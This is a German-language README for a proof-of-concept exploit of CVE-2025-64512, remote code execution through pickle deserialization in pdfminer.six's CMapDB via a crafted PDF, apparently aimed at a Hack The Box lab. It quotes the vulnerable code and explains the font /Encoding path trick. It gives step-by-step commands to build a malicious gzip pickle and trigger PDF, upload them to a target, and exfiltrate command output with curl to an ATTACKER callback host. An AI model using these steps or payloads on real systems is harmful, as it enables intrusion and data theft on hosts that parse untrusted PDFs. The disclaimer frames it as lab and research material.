
PoC für CVE-2025-64512: RCE durch pickle-Deserialisierung in pdfminer.six CMapDB mittels präparierter PDF
CMapDB Deserialisierungs-PoCProof-of-Concept für eine Deserialisierungsschwachstelle in pdfminer.six,
die beim Parsen eines präparierten PDFs zur Ausführung beliebigen Codes
führt.
ZWECK / HAFTUNGSAUSSCHLUSS Dieses Repository wird ausschließlich für Bildungszwecke und autorisierte Sicherheitsforschung bereitgestellt. Es reproduziert eine öffentlich offengelegte, gepatchte CVE. Verwende es nicht gegen Systeme, die du nicht besitzt oder für die du keine schriftliche Erlaubnis zum Testen hast. Der Autor übernimmt keine Verantwortung für Missbrauch. Vorgesehene Umgebung: Hack The Box / VulnHub / lokales Labor.
pdfminer.six vor 2025050620250506In cmapdb.py liest CMapDB._load_data() eine CMap-Datei, deren Name aus
dem /Encoding-Eintrag einer PDF-Schrift abgeleitet wird, und übergibt den
Inhalt an pickle.loads():
def _load_data(cls, name):
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
raise CMapDB.CMapNotFound(name)
Drei Eigenschaften wirken zusammen, um dies ausnutzbar zu machen:
pickle.loads() auf angreiferkontrollierten Daten -> Ausführung beliebigen Codes.os.path.join() das Suchverzeichnis und öffnet die Datei unter genau diesem Pfad..pickle.gz wird automatisch angehängt, daher wird der Pfad ohne die Endung angegeben.Für den Exploit müssen zwei Dateien in die verwundbare Webanwendung hochgeladen werden:
payload.pickle.gz — ein gzip-komprimiertes Pickle, dessen __reduce__ einen Befehl ausführt und ein CMap-förmiges Dict zurückgibt (damit das Parsen nach dem Auslösen des Payloads sauber weiterläuft).trigger.pdf — ein minimales PDF, das eine Type0/CIDFont verwendet, deren /Encoding auf den absoluten Pfad des Pickles zeigt (ohne Endung).Zwei Details auf PDF-Ebene sind entscheidend:
CMapDB.get_cmap() wird nur über eine CIDFont erreicht (eine Type0-Schrift mit einem DescendantFonts-Eintrag), nicht über eine einfache Type1-Schrift./-Trennzeichen, daher muss der kodierte Pfad mit #2f beginnen, um den führenden Schrägstrich des absoluten Pfads zu erhalten. Interne Schrägstriche sind ebenfalls #2f, da / ein Namens-Trennzeichen ist.Wenn das Ziel das PDF parst (z. B. ein Hintergrund-Watcher, der pdf2txt.py aufruft), öffnet CMapDB._load_data() das Pickle und führt den Befehl aus.
# 1. Build the malicious pickle (gzip-compressed)
python3 make_payload.py 'id; whoami' -o payload.pickle.gz
# 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf
# 3. Upload both files to the vulnerable PDF upload form, then wait for
# the processing watcher to pick up trigger.pdf
End-to-End verifiziert gegen pdfminer.six 20250416 (verwundbar): Der Aufruf von pdf2txt.py trigger.pdf führt den Payload-Befehl aus und beendet sich mit Exit-Code 0.
Der Payload-Befehl ist blind; exfiltriere die Daten über einen Callback, z. B.:
python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz
| Datei | Zweck |
|---|---|
make_payload.py | Erzeugt das schädliche payload.pickle.gz |
make_trigger_pdf.py | Erzeugt das /Encoding-Trigger-PDF mit korrekten xref-Offsets |
20250506